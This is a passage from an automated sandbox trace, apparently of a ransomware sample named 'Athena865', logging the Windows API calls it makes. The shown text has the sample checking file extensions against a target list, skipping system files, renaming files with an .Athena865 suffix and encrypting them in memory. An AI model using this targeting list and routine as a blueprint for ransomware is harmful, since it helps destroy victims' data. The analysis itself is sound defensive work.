lpString2="sqlite") returned -1 [0152.869] lstrlenW (lpString="sqlite3") returned 7 [0152.869] lstrcmpiW (lpString1="OLL.WAV", lpString2="sqlite3") returned -1 [0152.869] lstrlenW (lpString="sqlitedb") returned 8 [0152.869] lstrcmpiW (lpString1="ROLL.WAV", lpString2="sqlitedb") returned -1 [0152.869] lstrlenW (lpString="xml") returned 3 [0152.869] lstrcmpiW (lpString1="WAV", lpString2="xml") returned -1 [0152.869] lstrlenW (lpString="$er") returned 3 [0152.869] lstrcmpiW (lpString1="WAV", lpString2="$er") returned 1 [0152.869] lstrlenW (lpString="4dd") returned 3 [0152.869] lstrcmpiW (lpString1="WAV", lpString2="4dd") returned 1 [0152.869] lstrlenW (lpString="4dl") returned 3 [0152.869] lstrcmpiW (lpString1="WAV", lpString2="4dl") returned 1 [0152.869] lstrlenW (lpString="^^^") returned 3 [0152.869] lstrcmpiW (lpString1="WAV", lpString2="^^^") returned 1 [0152.869] lstrlenW (lpString="abs") returned 3 [0152.869] lstrcmpiW (lpString1="WAV", lpString2="abs") returned 1 [0152.869] lstrlenW (lpString="abx") returned 3 [0152.869] lstrcmpiW (lpString1="WAV", lpString2="abx") returned 1 [0152.869] lstrlenW (lpString="accdb") returned 5 [0152.869] lstrcmpiW (lpString1="L.WAV", lpString2="accdb") returned 1 [0152.869] lstrlenW (lpString="accdc") returned 5 [0152.869] lstrcmpiW (lpString1="L.WAV", lpString2="accdc") returned 1 [0152.869] lstrlenW (lpString="accde") returned 5 [0152.869] lstrcmpiW (lpString1="L.WAV", lpString2="accde") returned 1 [0152.869] lstrlenW (lpString="accdr") returned 5 [0152.869] lstrcmpiW (lpString1="L.WAV", lpString2="accdr") returned 1 [0152.870] lstrlenW (lpString="accdt") returned 5 [0152.870] lstrcmpiW (lpString1="L.WAV", lpString2="accdt") returned 1 [0152.870] lstrlenW (lpString="accdw") returned 5 [0152.870] lstrcmpiW (lpString1="L.WAV", lpString2="accdw") returned 1 [0152.870] lstrlenW (lpString="accft") returned 5 [0152.870] lstrcmpiW (lpString1="L.WAV", lpString2="accft") returned 1 [0152.870] lstrlenW (lpString="adb") returned 3 [0152.870] lstrcmpiW (lpString1="WAV", lpString2="adb") returned 1 [0152.870] lstrlenW (lpString="adb") returned 3 [0152.870] lstrcmpiW (lpString1="WAV", lpString2="adb") returned 1 [0152.870] lstrlenW (lpString="ade") returned 3 [0152.870] lstrcmpiW (lpString1="WAV", lpString2="ade") returned 1 [0152.870] lstrlenW (lpString="adf") returned 3 [0152.870] lstrcmpiW (lpString1="WAV", lpString2="adf") returned 1 [0152.870] lstrlenW (lpString="adn") returned 3 [0152.870] lstrcmpiW (lpString1="WAV", lpString2="adn") returned 1 [0152.870] lstrlenW (lpString="adp") returned 3 [0152.870] lstrcmpiW (lpString1="WAV", lpString2="adp") returned 1 [0152.870] lstrlenW (lpString="alf") returned 3 [0152.870] lstrcmpiW (lpString1="WAV", lpString2="alf") returned 1 [0152.870] lstrlenW (lpString="ask") returned 3 [0152.870] lstrcmpiW (lpString1="WAV", lpString2="ask") returned 1 [0152.870] lstrlenW (lpString="btr") returned 3 [0152.870] lstrcmpiW (lpString1="WAV", lpString2="btr") returned 1 [0152.870] lstrlenW (lpString="cat") returned 3 [0152.870] lstrcmpiW (lpString1="WAV", lpString2="cat") returned 1 [0152.870] lstrlenW (lpString="cdb") returned 3 [0152.870] lstrcmpiW (lpString1="WAV", lpString2="cdb") returned 1 [0152.871] lstrlenW (lpString="ckp") returned 3 [0152.871] lstrcmpiW (lpString1="WAV", lpString2="ckp") returned 1 [0152.871] lstrlenW (lpString="cma") returned 3 [0152.871] lstrcmpiW (lpString1="WAV", lpString2="cma") returned 1 [0152.871] lstrlenW (lpString="cpd") returned 3 [0152.871] lstrcmpiW (lpString1="WAV", lpString2="cpd") returned 1 [0152.871] lstrlenW (lpString="dacpac") returned 6 [0152.871] lstrcmpiW (lpString1="LL.WAV", lpString2="dacpac") returned 1 [0152.871] lstrlenW (lpString="dad") returned 3 [0152.871] lstrcmpiW (lpString1="WAV", lpString2="dad") returned 1 [0152.871] lstrlenW (lpString="dadiagrams") returned 10 [0152.871] lstrcmpiW (lpString1="UMROLL.WAV", lpString2="dadiagrams") returned 1 [0152.871] lstrlenW (lpString="daschema") returned 8 [0152.871] lstrcmpiW (lpString1="ROLL.WAV", lpString2="daschema") returned 1 [0152.871] lstrlenW (lpString="db-journal") returned 10 [0152.871] lstrcmpiW (lpString1="UMROLL.WAV", lpString2="db-journal") returned 1 [0152.871] lstrlenW (lpString="db-shm") returned 6 [0152.871] lstrcmpiW (lpString1="LL.WAV", lpString2="db-shm") returned 1 [0152.871] lstrlenW (lpString="db-wal") returned 6 [0152.871] lstrcmpiW (lpString1="LL.WAV", lpString2="db-wal") returned 1 [0152.871] lstrlenW (lpString="dbc") returned 3 [0152.871] lstrcmpiW (lpString1="WAV", lpString2="dbc") returned 1 [0152.871] lstrlenW (lpString="dbs") returned 3 [0152.871] lstrcmpiW (lpString1="WAV", lpString2="dbs") returned 1 [0152.871] lstrlenW (lpString="dbt") returned 3 [0152.871] lstrcmpiW (lpString1="WAV", lpString2="dbt") returned 1 [0152.871] lstrlenW (lpString="dbv") returned 3 [0152.871] lstrcmpiW (lpString1="WAV", lpString2="dbv") returned 1 [0152.871] lstrlenW (lpString="dbx") returned 3 [0152.872] lstrcmpiW (lpString1="WAV", lpString2="dbx") returned 1 [0152.872] lstrlenW (lpString="dcb") returned 3 [0152.872] lstrcmpiW (lpString1="WAV", lpString2="dcb") returned 1 [0152.872] lstrlenW (lpString="dct") returned 3 [0152.872] lstrcmpiW (lpString1="WAV", lpString2="dct") returned 1 [0152.872] lstrlenW (lpString="dcx") returned 3 [0152.872] lstrcmpiW (lpString1="WAV", lpString2="dcx") returned 1 [0152.872] lstrlenW (lpString="ddl") returned 3 [0152.872] lstrcmpiW (lpString1="WAV", lpString2="ddl") returned 1 [0152.872] lstrlenW (lpString="dlis") returned 4 [0152.872] lstrcmpiW (lpString1=".WAV", lpString2="dlis") returned -1 [0152.872] lstrlenW (lpString="dp1") returned 3 [0152.872] lstrcmpiW (lpString1="WAV", lpString2="dp1") returned 1 [0152.872] lstrlenW (lpString="dqy") returned 3 [0152.872] lstrcmpiW (lpString1="WAV", lpString2="dqy") returned 1 [0152.872] lstrlenW (lpString="dsk") returned 3 [0152.872] lstrcmpiW (lpString1="WAV", lpString2="dsk") returned 1 [0152.872] lstrlenW (lpString="dsn") returned 3 [0152.872] lstrcmpiW (lpString1="WAV", lpString2="dsn") returned 1 [0152.872] lstrlenW (lpString="dtsx") returned 4 [0152.872] lstrcmpiW (lpString1=".WAV", lpString2="dtsx") returned -1 [0152.872] lstrlenW (lpString="dxl") returned 3 [0152.872] lstrcmpiW (lpString1="WAV", lpString2="dxl") returned 1 [0152.872] lstrlenW (lpString="eco") returned 3 [0152.872] lstrcmpiW (lpString1="WAV", lpString2="eco") returned 1 [0152.872] lstrlenW (lpString="ecx") returned 3 [0152.872] lstrcmpiW (lpString1="WAV", lpString2="ecx") returned 1 [0152.872] lstrlenW (lpString="edb") returned 3 [0152.873] lstrcmpiW (lpString1="WAV", lpString2="edb") returned 1 [0152.873] lstrlenW (lpString="epim") returned 4 [0152.873] lstrcmpiW (lpString1=".WAV", lpString2="epim") returned -1 [0152.873] lstrlenW (lpString="fcd") returned 3 [0152.873] lstrcmpiW (lpString1="WAV", lpString2="fcd") returned 1 [0152.873] lstrlenW (lpString="fdb") returned 3 [0152.873] lstrcmpiW (lpString1="WAV", lpString2="fdb") returned 1 [0152.873] lstrlenW (lpString="fic") returned 3 [0152.873] lstrcmpiW (lpString1="WAV", lpString2="fic") returned 1 [0152.873] lstrlenW (lpString="flexolibrary") returned 12 [0152.873] lstrlenW (lpString="fm5") returned 3 [0152.873] lstrcmpiW (lpString1="WAV", lpString2="fm5") returned 1 [0152.873] lstrlenW (lpString="fmp") returned 3 [0152.873] lstrcmpiW (lpString1="WAV", lpString2="fmp") returned 1 [0152.873] lstrlenW (lpString="fmp12") returned 5 [0152.873] lstrcmpiW (lpString1="L.WAV", lpString2="fmp12") returned 1 [0152.873] lstrlenW (lpString="fmpsl") returned 5 [0152.873] lstrcmpiW (lpString1="L.WAV", lpString2="fmpsl") returned 1 [0152.873] lstrlenW (lpString="fol") returned 3 [0152.873] lstrcmpiW (lpString1="WAV", lpString2="fol") returned 1 [0152.873] lstrlenW (lpString="fp3") returned 3 [0152.873] lstrcmpiW (lpString1="WAV", lpString2="fp3") returned 1 [0152.873] lstrlenW (lpString="fp4") returned 3 [0152.873] lstrcmpiW (lpString1="WAV", lpString2="fp4") returned 1 [0152.873] lstrlenW (lpString="fp5") returned 3 [0152.873] lstrcmpiW (lpString1="WAV", lpString2="fp5") returned 1 [0152.873] lstrlenW (lpString="fp7") returned 3 [0152.873] lstrcmpiW (lpString1="WAV", lpString2="fp7") returned 1 [0152.873] lstrlenW (lpString="fpt") returned 3 [0152.874] lstrcmpiW (lpString1="WAV", lpString2="fpt") returned 1 [0152.874] lstrlenW (lpString="frm") returned 3 [0152.874] lstrcmpiW (lpString1="WAV", lpString2="frm") returned 1 [0152.874] lstrlenW (lpString="gdb") returned 3 [0152.874] lstrcmpiW (lpString1="WAV", lpString2="gdb") returned 1 [0152.874] lstrlenW (lpString="gdb") returned 3 [0152.874] lstrcmpiW (lpString1="WAV", lpString2="gdb") returned 1 [0152.874] lstrlenW (lpString="grdb") returned 4 [0152.874] lstrcmpiW (lpString1=".WAV", lpString2="grdb") returned -1 [0152.874] lstrlenW (lpString="gwi") returned 3 [0152.874] lstrcmpiW (lpString1="WAV", lpString2="gwi") returned 1 [0152.874] lstrlenW (lpString="hdb") returned 3 [0152.874] lstrcmpiW (lpString1="WAV", lpString2="hdb") returned 1 [0152.874] lstrlenW (lpString="his") returned 3 [0152.874] lstrcmpiW (lpString1="WAV", lpString2="his") returned 1 [0152.874] lstrlenW (lpString="ib") returned 2 [0152.874] lstrcmpiW (lpString1="AV", lpString2="ib") returned -1 [0152.874] lstrlenW (lpString="idb") returned 3 [0152.874] lstrcmpiW (lpString1="WAV", lpString2="idb") returned 1 [0152.874] lstrlenW (lpString="ihx") returned 3 [0152.874] lstrcmpiW (lpString1="WAV", lpString2="ihx") returned 1 [0152.874] lstrlenW (lpString="itdb") returned 4 [0152.874] lstrcmpiW (lpString1=".WAV", lpString2="itdb") returned -1 [0152.874] lstrlenW (lpString="itw") returned 3 [0152.874] lstrcmpiW (lpString1="WAV", lpString2="itw") returned 1 [0152.874] lstrlenW (lpString="jet") returned 3 [0152.874] lstrcmpiW (lpString1="WAV", lpString2="jet") returned 1 [0152.874] lstrlenW (lpString="jtx") returned 3 [0152.874] lstrcmpiW (lpString1="WAV", lpString2="jtx") returned 1 [0152.875] lstrlenW (lpString="kdb") returned 3 [0152.875] lstrcmpiW (lpString1="WAV", lpString2="kdb") returned 1 [0152.875] lstrlenW (lpString="kexi") returned 4 [0152.875] lstrcmpiW (lpString1=".WAV", lpString2="kexi") returned -1 [0152.875] lstrlenW (lpString="kexic") returned 5 [0152.875] lstrcmpiW (lpString1="L.WAV", lpString2="kexic") returned 1 [0152.875] lstrlenW (lpString="kexis") returned 5 [0152.875] lstrcmpiW (lpString1="L.WAV", lpString2="kexis") returned 1 [0152.875] lstrlenW (lpString="lgc") returned 3 [0152.875] lstrcmpiW (lpString1="WAV", lpString2="lgc") returned 1 [0152.875] lstrlenW (lpString="lwx") returned 3 [0152.875] lstrcmpiW (lpString1="WAV", lpString2="lwx") returned 1 [0152.875] lstrlenW (lpString="maf") returned 3 [0152.875] lstrcmpiW (lpString1="WAV", lpString2="maf") returned 1 [0152.875] lstrlenW (lpString="maq") returned 3 [0152.875] lstrcmpiW (lpString1="WAV", lpString2="maq") returned 1 [0152.875] lstrlenW (lpString="mar") returned 3 [0152.875] lstrcmpiW (lpString1="WAV", lpString2="mar") returned 1 [0152.875] lstrlenW (lpString="marshal") returned 7 [0152.875] lstrcmpiW (lpString1="OLL.WAV", lpString2="marshal") returned 1 [0152.875] lstrlenW (lpString="mas") returned 3 [0152.875] lstrcmpiW (lpString1="WAV", lpString2="mas") returned 1 [0152.875] lstrlenW (lpString="mav") returned 3 [0152.875] lstrcmpiW (lpString1="WAV", lpString2="mav") returned 1 [0152.875] lstrlenW (lpString="maw") returned 3 [0152.875] lstrcmpiW (lpString1="WAV", lpString2="maw") returned 1 [0152.875] lstrlenW (lpString="mdbhtml") returned 7 [0152.875] lstrcmpiW (lpString1="OLL.WAV", lpString2="mdbhtml") returned 1 [0152.875] lstrlenW (lpString="mdn") returned 3 [0152.876] lstrcmpiW (lpString1="WAV", lpString2="mdn") returned 1 [0152.876] lstrlenW (lpString="mdt") returned 3 [0152.876] lstrcmpiW (lpString1="WAV", lpString2="mdt") returned 1 [0152.876] lstrlenW (lpString="mfd") returned 3 [0152.876] lstrcmpiW (lpString1="WAV", lpString2="mfd") returned 1 [0152.876] lstrlenW (lpString="mpd") returned 3 [0152.876] lstrcmpiW (lpString1="WAV", lpString2="mpd") returned 1 [0152.876] lstrlenW (lpString="mrg") returned 3 [0152.876] lstrcmpiW (lpString1="WAV", lpString2="mrg") returned 1 [0152.876] lstrlenW (lpString="mud") returned 3 [0152.876] lstrcmpiW (lpString1="WAV", lpString2="mud") returned 1 [0152.876] lstrlenW (lpString="mwb") returned 3 [0152.876] lstrcmpiW (lpString1="WAV", lpString2="mwb") returned 1 [0152.876] lstrlenW (lpString="myd") returned 3 [0152.876] lstrcmpiW (lpString1="WAV", lpString2="myd") returned 1 [0152.876] lstrlenW (lpString="ndf") returned 3 [0152.876] lstrcmpiW (lpString1="WAV", lpString2="ndf") returned 1 [0152.876] lstrlenW (lpString="nnt") returned 3 [0152.876] lstrcmpiW (lpString1="WAV", lpString2="nnt") returned 1 [0152.876] lstrlenW (lpString="nrmlib") returned 6 [0152.876] lstrcmpiW (lpString1="LL.WAV", lpString2="nrmlib") returned -1 [0152.876] lstrlenW (lpString="ns2") returned 3 [0152.876] lstrcmpiW (lpString1="WAV", lpString2="ns2") returned 1 [0152.876] lstrlenW (lpString="ns3") returned 3 [0152.876] lstrcmpiW (lpString1="WAV", lpString2="ns3") returned 1 [0152.876] lstrlenW (lpString="ns4") returned 3 [0152.876] lstrcmpiW (lpString1="WAV", lpString2="ns4") returned 1 [0152.876] lstrlenW (lpString="nsf") returned 3 [0152.876] lstrcmpiW (lpString1="WAV", lpString2="nsf") returned 1 [0152.877] lstrlenW (lpString="nv") returned 2 [0152.877] lstrcmpiW (lpString1="AV", lpString2="nv") returned -1 [0152.877] lstrlenW (lpString="nv2") returned 3 [0152.877] lstrcmpiW (lpString1="WAV", lpString2="nv2") returned 1 [0152.877] lstrlenW (lpString="nwdb") returned 4 [0152.877] lstrcmpiW (lpString1=".WAV", lpString2="nwdb") returned -1 [0152.877] lstrlenW (lpString="nyf") returned 3 [0152.877] lstrcmpiW (lpString1="WAV", lpString2="nyf") returned 1 [0152.877] lstrlenW (lpString="odb") returned 3 [0152.877] lstrcmpiW (lpString1="WAV", lpString2="odb") returned 1 [0152.877] lstrlenW (lpString="odb") returned 3 [0152.877] lstrcmpiW (lpString1="WAV", lpString2="odb") returned 1 [0152.877] lstrlenW (lpString="oqy") returned 3 [0152.877] lstrcmpiW (lpString1="WAV", lpString2="oqy") returned 1 [0152.877] lstrlenW (lpString="ora") returned 3 [0152.877] lstrcmpiW (lpString1="WAV", lpString2="ora") returned 1 [0152.877] lstrlenW (lpString="orx") returned 3 [0152.877] lstrcmpiW (lpString1="WAV", lpString2="orx") returned 1 [0152.877] lstrlenW (lpString="owc") returned 3 [0152.877] lstrcmpiW (lpString1="WAV", lpString2="owc") returned 1 [0152.877] lstrlenW (lpString="p96") returned 3 [0152.877] lstrcmpiW (lpString1="WAV", lpString2="p96") returned 1 [0152.877] lstrlenW (lpString="p97") returned 3 [0152.877] lstrcmpiW (lpString1="WAV", lpString2="p97") returned 1 [0152.877] lstrlenW (lpString="pan") returned 3 [0152.877] lstrcmpiW (lpString1="WAV", lpString2="pan") returned 1 [0152.877] lstrlenW (lpString="pdb") returned 3 [0152.877] lstrcmpiW (lpString1="WAV", lpString2="pdb") returned 1 [0152.877] lstrlenW (lpString="pdm") returned 3 [0152.878] lstrcmpiW (lpString1="WAV", lpString2="pdm") returned 1 [0152.878] lstrlenW (lpString="pnz") returned 3 [0152.878] lstrcmpiW (lpString1="WAV", lpString2="pnz") returned 1 [0152.878] lstrlenW (lpString="qry") returned 3 [0152.878] lstrcmpiW (lpString1="WAV", lpString2="qry") returned 1 [0152.878] lstrlenW (lpString="qvd") returned 3 [0152.878] lstrcmpiW (lpString1="WAV", lpString2="qvd") returned 1 [0152.878] lstrlenW (lpString="rbf") returned 3 [0152.878] lstrcmpiW (lpString1="WAV", lpString2="rbf") returned 1 [0152.878] lstrlenW (lpString="rctd") returned 4 [0152.878] lstrcmpiW (lpString1=".WAV", lpString2="rctd") returned -1 [0152.878] lstrlenW (lpString="rod") returned 3 [0152.878] lstrcmpiW (lpString1="WAV", lpString2="rod") returned 1 [0152.878] lstrlenW (lpString="rodx") returned 4 [0152.878] lstrcmpiW (lpString1=".WAV", lpString2="rodx") returned -1 [0152.878] lstrlenW (lpString="rpd") returned 3 [0152.878] lstrcmpiW (lpString1="WAV", lpString2="rpd") returned 1 [0152.878] lstrlenW (lpString="rsd") returned 3 [0152.878] lstrcmpiW (lpString1="WAV", lpString2="rsd") returned 1 [0152.878] lstrlenW (lpString="sas7bdat") returned 8 [0152.878] lstrcmpiW (lpString1="ROLL.WAV", lpString2="sas7bdat") returned -1 [0152.878] lstrlenW (lpString="sbf") returned 3 [0152.878] lstrcmpiW (lpString1="WAV", lpString2="sbf") returned 1 [0152.878] lstrlenW (lpString="scx") returned 3 [0152.878] lstrcmpiW (lpString1="WAV", lpString2="scx") returned 1 [0152.878] lstrlenW (lpString="sdb") returned 3 [0152.878] lstrcmpiW (lpString1="WAV", lpString2="sdb") returned 1 [0152.878] lstrlenW (lpString="sdc") returned 3 [0152.878] lstrcmpiW (lpString1="WAV", lpString2="sdc") returned 1 [0152.879] lstrlenW (lpString="sdf") returned 3 [0152.879] lstrcmpiW (lpString1="WAV", lpString2="sdf") returned 1 [0152.879] lstrlenW (lpString="sis") returned 3 [0152.879] lstrcmpiW (lpString1="WAV", lpString2="sis") returned 1 [0152.879] lstrlenW (lpString="spq") returned 3 [0152.879] lstrcmpiW (lpString1="WAV", lpString2="spq") returned 1 [0152.879] lstrlenW (lpString="te") returned 2 [0152.879] lstrcmpiW (lpString1="AV", lpString2="te") returned -1 [0152.879] lstrlenW (lpString="teacher") returned 7 [0152.879] lstrcmpiW (lpString1="OLL.WAV", lpString2="teacher") returned -1 [0152.879] lstrlenW (lpString="tmd") returned 3 [0152.879] lstrcmpiW (lpString1="WAV", lpString2="tmd") returned 1 [0152.879] lstrlenW (lpString="tps") returned 3 [0152.879] lstrcmpiW (lpString1="WAV", lpString2="tps") returned 1 [0152.879] lstrlenW (lpString="trc") returned 3 [0152.879] lstrcmpiW (lpString1="WAV", lpString2="trc") returned 1 [0152.879] lstrlenW (lpString="trc") returned 3 [0152.879] lstrcmpiW (lpString1="WAV", lpString2="trc") returned 1 [0152.879] lstrlenW (lpString="trm") returned 3 [0152.879] lstrcmpiW (lpString1="WAV", lpString2="trm") returned 1 [0152.879] lstrlenW (lpString="udb") returned 3 [0152.879] lstrcmpiW (lpString1="WAV", lpString2="udb") returned 1 [0152.879] lstrlenW (lpString="udl") returned 3 [0152.879] lstrcmpiW (lpString1="WAV", lpString2="udl") returned 1 [0152.879] lstrlenW (lpString="usr") returned 3 [0152.879] lstrcmpiW (lpString1="WAV", lpString2="usr") returned 1 [0152.879] lstrlenW (lpString="v12") returned 3 [0152.879] lstrcmpiW (lpString1="WAV", lpString2="v12") returned 1 [0152.879] lstrlenW (lpString="vis") returned 3 [0152.880] lstrcmpiW (lpString1="WAV", lpString2="vis") returned 1 [0152.880] lstrlenW (lpString="vpd") returned 3 [0152.880] lstrcmpiW (lpString1="WAV", lpString2="vpd") returned 1 [0152.880] lstrlenW (lpString="vvv") returned 3 [0152.880] lstrcmpiW (lpString1="WAV", lpString2="vvv") returned 1 [0152.880] lstrlenW (lpString="wdb") returned 3 [0152.880] lstrcmpiW (lpString1="WAV", lpString2="wdb") returned -1 [0152.880] lstrlenW (lpString="wmdb") returned 4 [0152.880] lstrcmpiW (lpString1=".WAV", lpString2="wmdb") returned -1 [0152.880] lstrlenW (lpString="wrk") returned 3 [0152.880] lstrcmpiW (lpString1="WAV", lpString2="wrk") returned -1 [0152.880] lstrlenW (lpString="xdb") returned 3 [0152.880] lstrcmpiW (lpString1="WAV", lpString2="xdb") returned -1 [0152.880] lstrlenW (lpString="xld") returned 3 [0152.880] lstrcmpiW (lpString1="WAV", lpString2="xld") returned -1 [0152.880] lstrlenW (lpString="xmlff") returned 5 [0152.880] lstrcmpiW (lpString1="L.WAV", lpString2="xmlff") returned -1 [0152.880] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV.Athena865") returned 71 [0152.880] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\drumroll.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\media\\drumroll.wav.athena865"), dwFlags=0x1) returned 1 [0152.882] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\media\\drumroll.wav.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0152.882] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=19426) returned 1 [0152.882] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0152.883] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0152.883] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54f078 [0152.883] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54f100) returned 1 [0152.883] CryptGenRandom (in: hProv=0x54f100, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0152.883] CryptReleaseContext (hProv=0x54f100, dwFlags=0x0) returned 1 [0152.884] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4ef0, lpName=0x0) returned 0x154 [0152.886] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4ef0) returned 0x100000 [0152.888] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54f100) returned 1 [0152.888] CryptGenRandom (in: hProv=0x54f100, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0152.888] CryptReleaseContext (hProv=0x54f100, dwFlags=0x0) returned 1 [0152.888] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0152.889] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0152.889] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0152.889] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0152.889] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0152.889] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0152.889] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534f48 [0152.889] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0152.889] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534f48 | out: hHeap=0x4f0000) returned 1 [0152.889] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0152.889] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0152.890] CloseHandle (hObject=0x154) returned 1 [0152.890] CloseHandle (hObject=0x17c) returned 1 [0152.890] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0152.890] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54f078 | out: hHeap=0x4f0000) returned 1 [0152.890] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0152.890] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b50b600, ftCreationTime.dwHighDateTime=0x1bc8d47, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b50b600, ftLastWriteTime.dwHighDateTime=0x1bc8d47, nFileSizeHigh=0x0, nFileSizeLow=0x5c20, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EXPLODE.WAV", cAlternateFileName="")) returned 1 [0152.890] lstrcmpiW (lpString1="EXPLODE.WAV", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0152.890] lstrcmpiW (lpString1="EXPLODE.WAV", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0152.890] lstrcmpiW (lpString1="EXPLODE.WAV", lpString2=".") returned 1 [0152.890] lstrcmpiW (lpString1="EXPLODE.WAV", lpString2="..") returned 1 [0152.890] lstrcmpiW (lpString1="EXPLODE.WAV", lpString2="windows") returned -1 [0152.890] lstrcmpiW (lpString1="EXPLODE.WAV", lpString2="bootmgr") returned 1 [0152.890] lstrcmpiW (lpString1="EXPLODE.WAV", lpString2="temp") returned -1 [0152.890] lstrcmpiW (lpString1="EXPLODE.WAV", lpString2="pagefile.sys") returned -1 [0152.890] lstrcmpiW (lpString1="EXPLODE.WAV", lpString2="boot") returned 1 [0152.890] lstrcmpiW (lpString1="EXPLODE.WAV", lpString2="ids.txt") returned -1 [0152.890] lstrcmpiW (lpString1="EXPLODE.WAV", lpString2="ntuser.dat") returned -1 [0152.890] lstrcmpiW (lpString1="EXPLODE.WAV", lpString2="perflogs") returned -1 [0152.890] lstrcmpiW (lpString1="EXPLODE.WAV", lpString2="MSBuild") returned -1 [0152.891] lstrlenW (lpString="EXPLODE.WAV") returned 11 [0152.891] lstrcpyW (in: lpString1=0x241e8aa, lpString2="EXPLODE.WAV" | out: lpString1="EXPLODE.WAV") returned="EXPLODE.WAV" [0152.891] lstrlenW (lpString="EXPLODE.WAV") returned 11 [0152.891] lstrlenW (lpString="Athena865") returned 9 [0152.891] lstrcmpiW (lpString1="PLODE.WAV", lpString2="Athena865") returned 1 [0152.891] lstrlenW (lpString=".dll") returned 4 [0152.891] lstrcmpiW (lpString1="EXPLODE.WAV", lpString2=".dll") returned 1 [0152.891] lstrlenW (lpString=".lnk") returned 4 [0152.891] lstrcmpiW (lpString1="EXPLODE.WAV", lpString2=".lnk") returned 1 [0152.891] lstrlenW (lpString=".ini") returned 4 [0152.891] lstrcmpiW (lpString1="EXPLODE.WAV", lpString2=".ini") returned 1 [0152.891] lstrlenW (lpString=".sys") returned 4 [0152.891] lstrcmpiW (lpString1="EXPLODE.WAV", lpString2=".sys") returned 1 [0152.891] lstrlenW (lpString="EXPLODE.WAV") returned 11 [0152.891] lstrlenW (lpString="bak") returned 3 [0152.891] lstrcmpiW (lpString1="WAV", lpString2="bak") returned 1 [0152.891] lstrlenW (lpString="ba_") returned 3 [0152.891] lstrcmpiW (lpString1="WAV", lpString2="ba_") returned 1 [0152.891] lstrlenW (lpString="dbb") returned 3 [0152.891] lstrcmpiW (lpString1="WAV", lpString2="dbb") returned 1 [0152.891] lstrlenW (lpString="vmdk") returned 4 [0152.891] lstrcmpiW (lpString1=".WAV", lpString2="vmdk") returned -1 [0152.891] lstrlenW (lpString="rar") returned 3 [0152.891] lstrcmpiW (lpString1="WAV", lpString2="rar") returned 1 [0152.891] lstrlenW (lpString="zip") returned 3 [0152.891] lstrcmpiW (lpString1="WAV", lpString2="zip") returned -1 [0152.891] lstrlenW (lpString="tgz") returned 3 [0152.892] lstrcmpiW (lpString1="WAV", lpString2="tgz") returned 1 [0152.892] lstrlenW (lpString="vbox") returned 4 [0152.892] lstrcmpiW (lpString1=".WAV", lpString2="vbox") returned -1 [0152.892] lstrlenW (lpString="vdi") returned 3 [0152.892] lstrcmpiW (lpString1="WAV", lpString2="vdi") returned 1 [0152.892] lstrlenW (lpString="vhd") returned 3 [0152.892] lstrcmpiW (lpString1="WAV", lpString2="vhd") 